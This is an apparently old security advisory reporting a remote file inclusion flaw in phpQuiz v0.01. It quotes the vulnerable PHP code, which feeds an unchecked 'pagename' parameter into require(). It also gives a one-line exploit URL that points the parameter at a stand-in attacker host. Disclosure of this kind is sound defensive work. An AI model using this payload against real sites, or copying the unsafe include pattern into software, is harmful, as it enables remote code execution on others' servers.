SolpotCrew Advisory #9 - phpQuiz v0.01 design and coding byJule Slootbeek (pagename) Remote File Inclusion

[chris_hasibuan () yahoo com]

#############################SolpotCrew Community################################
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#  phpQuiz v0.01 design and coding byJule Slootbeek (pagename) Remote File Inclusion 
#
#  Download file : http://www.furor-normannicus.de/phpQuiz/download/phpQuiz.zip
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#       Bug Found By :Solpot a.k.a (k. Hasibuan) (14-09-2006)
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#       contact: chris_hasibuan () yahoo com 
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#       Website : http://www.nyubicrew.org/adv/solpot-adv-07.txt
#
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#
#      Greetz: choi , h4ntu , Ibnusina , r4dja , No-profile , begu , madkid
#              robby , Matdhule , setiawan , m3lky , NpR , Fungky , barbarosa
#              home_edition2001 , Rendy , cow_1seng , ^^KaBRuTz , bYu , Lappet-homo
#              Blue|spy , cah|gemblung , Slacky , blind_boy , camagenta , XdikaX
#              x-ace , Dalmet , th3sn0wbr4in , iFX , ^YoGa^ ,#nyubi , #hitamputih @dalnet
#              and all member solpotcrew community @ http://www.nyubicrew.org/forum/
#              especially thx to str0ke @ milw0rm.com
#
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Input passed to the "pagename" is not properly verified  
before being used to include files. This can be exploited to execute  
arbitrary PHP code by including files from local or external resources.  

code from index.php

<?php
        //include global variables.
        include('global.inc.php');

        if (empty($pagename)) $pagename=main_menu;
        require ("$pagename.php");
?>

exploit : http://somehost/path_to_phpQuiz/index.php?pagename=http://evil

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